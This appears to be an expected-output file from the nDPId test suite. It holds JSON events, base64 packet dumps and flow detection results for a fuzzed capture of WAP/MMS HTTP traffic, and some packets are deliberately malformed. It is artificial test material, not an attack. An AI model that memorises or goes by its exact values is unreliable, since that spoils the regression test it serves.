+02335{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854514,"pkt_ts_usec":844048,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1514,"pkt_l4_len":0,"pkt":"CAAgsl17AFCLk5N8CABFAAXcFaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":51,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","l4_data_len":1480} +00953{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854514,"pkt_ts_usec":844080,"pkt_caplen":479,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":479,"pkt_l4_len":0,"pkt":"CAAgsl0lcwCLk5N8CABFAAHRFktVAIAGhKGsFAMFrBQDDQorAFDkqXCFyh06CVAYIo+iDAAAMjAxLnhtbCIsIjEtT3dQVndnTWs4aXRxR3gwOGZNWXVmdz09IiwiMi1IZ0NURVFFMW8ydmVOM0ZCeW8xLzVnPT0iLCIzLXpJdGdzSXlLQnBCem01c2xPb2RISEE9PSINCkNvb2tpZTpKVXNlci1JZGVudGl0eS1Gb3J3YXJkLXBwcC11c2VybmFtZT2qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":52,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","l4_data_len":445} +00422{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854514,"pkt_ts_usec":845705,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFIAAoxL1AAEAGF9isFAMNrBQDBQBQCivKHToJ5KlwhVAQgyxqnAAA"} +00617{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854514,"pkt_ts_usec":913731,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"AFCLk5N8CAAgsl17CABFAAC3xL5AAEAGF0isFAMNrBQDBQBQCivKHToJ5KlyLlAYgyzBOgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFJlc2luLzIuMC4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNvbnRlbnQtTGVuZ3RoOiAwDQpEYXRlOiBUaHUsIDEyIFNlcCAyMDAyIDE4OjE1ujE0IEdNVA0KDQo="} +00535{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":54,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1031854514843,"flow_last_seen":1031854514913,"flow_tot_l4_data_len":231,"flow_min_l4_data_len":20,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2603,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00429{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854515,"pkt_ts_usec":59730,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoGEtAAIAGhEqsFAMFrBQDDQorAFDkqXIuyh06mFAQIanJ5wAAYXRpb24v"} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":56,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1031854514843,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.77","src_port":2603,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":56,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1031854514843,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.77","src_port":2603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1031854525903,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"72.20.3.13","src_port":2603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854525,"pkt_ts_usec":903736,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoGktAAIAGgkqsFAMFSBQDDQorAFDkqXIuyh06mFARIanJ5gAApxaHSO7L"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1031854525903,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.82.5","src_port":80,"dst_port":2603,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854525,"pkt_ts_usec":903771,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5PaCAAgsl17CABFAAAoxL9AAEAGF9asFAMNrBRSBQBQCivKHTqY5KlyL1AQgyxoYwAA"} +00422{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854525,"pkt_ts_usec":904151,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxMBAAEAGF9WsFAMNrBQDBQBQCivKHTqY5KlyL1ARgyxoYAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1031854525904,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"68.37.115.0","src_port":2603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854525,"pkt_ts_usec":904369,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoG0tAAIAGgUqsFAMFRCVzAAorAFDkqXIvyh06mVAQIanJ5QAApxaHSO7L"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1031854532142,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2604,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":142258,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl17AFCLk5N8CABFAAAsHktAAIAGfkasFAMFrBQDDQosAFDk5q2kEAAAAGACIAB85AAAAgQFtGDD"} +00430{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":142303,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxMFAAEAGF9CsFAMNrBQDBQBQCizKXurZ5OatpWASgyxkbgAAAgQFtA=="} +00430{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":142486,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoH0tAAIAGfUqsFAMFrBQDDQosAFDk5q2lyl7q2lAQIjjdHwAAAgQFtGDD"} +02379{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":143032,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"CAAgsl17AFCLk5N8CABFAAXcIEtAAIAGdpasFAMFrBQDDQosAFDk5q2lyl7q2lAQIjj8mAAAR0VUIC9zZXJ2bGV0cy9tbXM\/bWVzc2FnZS1pZD0xODkwMDEgSFRUUC8xLjENCkhvc3Q6IDE3Mi4yMC4zLjEzDQpPcHQ6ICJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzA2LzIlcwBDUFBleH5oYW5nZSI7IG5zPTU2DQpBY2NlcHQ6IGFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNhY2hlLUNvbnRy8Gw6IG5vLWNhY2hlDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBTb255RXJpY3Nzb25UNjgvUjIwMUENCkFjY2VBdC1DaGFyc2V0OiAqDQp1Ni1Qcm9maWxlLURpZmYtMTogPD94bWwgdmUHc2kObj0iMS4wIj8+PHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1JeW50YXgtbnMjInhtbG5zOnByZj0iAnR0cDovL3d3dy53YXBmb3J1bS5vcmcvVUFQUk9GL2NjcHBzY2hlbWEtMTk5OTEwMTQjIj48IS0tIGJyb3dzZXIgdmVuZG9yIHNpdGU6IERlZmF1bHQgZGVzJXMAcHRpb24gb2YgcHJvcGVydGllcyAtLT48cmRmOkRlc2NyaXB0aW9uPjxwcmY6Q2NwcEFjY2VwdD48cmRmOkJhZz48cmRmOmxpPmFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2U8L3JkZjpsaT48L3JkZjpCYWc+PC9wcmZsQ2NwcEFjY2VwdD48L3JkZjpEZXNjcmlwdGlvbj48L3JkZjpSREY+DQo1Ni1Qcm9maWxlLURpZmYtMjogPD94bWwgdmVyc2lvbj0iMS4wIj8+PHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkjS1zeW50YXgtbnMjInhtbG5zOnByZj0iaHR0cDovL3d3dy53YXBmb3J1bS5vcmcvVUFQUk9GL2NjcHBzY2hlbWEtMTk5OTEwMSVzAD48IS0tIGJyb3dzZXIgdmVuZG9yIHNpdGU6IERlZmF1bHQgZGVzY3JscHRpb24gb2YgcHJvcGVydGllcyAtLT48cmRmOkRlc2NyaXB0aW9uPjxwcmY6Q2NwcEFjY2VwdC1DaGFyc2V0PjxyZGY6QmFnPjxyZGY6bGk+KjwvcmRmOmxpPjwvcmRmOkJhZz48L3ByZjpDY3BwQWNjZXB0LUNoYXJ3ZXQ+PC9yZGY6RGVzY3JpcHRpb248PC9yZGY6UkRGPg0KNTYtUHJvZmlsZS1EaWZmLTM6IDw\/eG1sIHZlcnNpb249IjEuMCI\/PjxyZGY6UkRGIPhtbG5zOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":63,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1031854532142,"flow_last_seen":1031854532143,"flow_tot_l4_data_len":1548,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":387,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2604,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"172.20.3.13","url":"172.20.3.13\/servlets\/mms?message-id=189001","code":0,"content_type":"","user_agent":"SonyEricssonT68\/R201A"}} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":143059,"pkt_caplen":413,"pkt_type":59136,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":413,"pkt_l4_len":0,"pkt":"CAAgsl17AFCLk5N85wA1AAGPIUtAAIAGeeOsFAMFrBQDDQosAFDk5rNZyl7q2lAYIjgNigAAWXVTdz09IiwiMi1gZ0NURVFFMW8ydmVOM0ZCeW8xLzVnPT0iLCIzLXpJdGdzSXlLQnBCem01c2xPb2RISEE9PSINCkNvb2t6ZTogVXNlci1JZGVudGl0eS1Gb3J3YXJkLXBwcC11c2VybmFtZT02QzZENjM2RDZGNkM2Ng0KQ29va2llOiBVc2VyLUlkZW50aXR5LUZvcgRhcmQtbXNpc2RuPTO0MzkzMTM3MzIzNjMxMzAzMTMwMzAzNA0KQ29va2llOiBVc2VyLQlkZW50aXR5LUF1dGhlbnRpY2F0aW9uPUJlYXJlcg0KQ29va2llOiBJcC1BZGRyZXNzPTE5Mi4xNjguMi4yNg0KQ29va2llOiBCZWFyZXItVHlwZT1VRFBdCldBUC1Db25uZWN0aW9uOiBTdGFjay1UeXBlPUNPDQpDb29raWU6IHd0bHMtc2VjdXJpdHktbGV2ZWw9bm9uZVQKDQo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":64,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","type":59136} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1031854532143,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.68.5","src_port":80,"dst_port":2604,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":143761,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxMJAAEAGF9OsFAMNrBREBQBQCizKXura5OazWVAlcwB2dwAA"} +00422{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":236796,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxMNAAEAGF9KsFAMNrBQDBQBQCizKXura5Oa0wFAQgyx1EAAA"} +00909{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":318013,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"AFCLk5N8CAAgsl17CABFAAGTxMRAAEAGVWasFAMNrBQDBQBQCizKXura5Oa0wFAYgyw7LAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFJlc2luLzIuMC4xDQpDb250ZW50LVR5YGU6IGFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNvbnRlbnQtTGVuZ3RoOiAyMTgNCkRhdGU6IFRodSwgMTIgU2VwIDIwMDIgMTg6MTU6MzIgR01UDQoNCnOEmDE4OTAwMQCNkIsxODkwMDBAZ2VjZHMyLm1vYmlsaXR5bGFiLm5ldACFBD2A5vmJGYAr+DkxNzI2MTAxMDA0L1RZUEU9UExNTgCXKzR5MTcyNjEwMTAwNC9UWVBFPVBMTU4AllJlYWQ6IACKg4+BhoGQgYSjAQRcA4OB6llvdXIgbWVzc2FnZSBoYXMgYmVlbiByZWFkClNlbnQ6MTIgU2VwIDI6MDlwbQogKEdNVC0wNS4wMGgpClJlYWQ6MTIgU2VwIDI6MTFwbQogKEfNVC0wNS4wMGgp"} +00430{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854532,"pkt_ts_usec":450470,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoI0tAAIAGKEqsFAMFrBQDDQosAFDk5jPAyl7sRVAQIM3WBAAAAgQFtGDD"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":69,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1031854535021,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":21018,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl17AFCLk5N8CABFAAAsJEtAAIAGeEasFAMFrBQDDQotAFDk8VvfAAAAAGACIADOnQAAAgQFtGDD"} +00429{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":21058,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxMVAAEAGF8ysFAMNrBQDBQBQCi3KbXHL5PFb4GASgywvJwAAAgQFtA=="} +00429{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":21245,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoJUtAAIAGd0qsFAMFrBQDDQotAFDk8Vvgym1xzFAQIjin2AAAAgQFtGDD"} 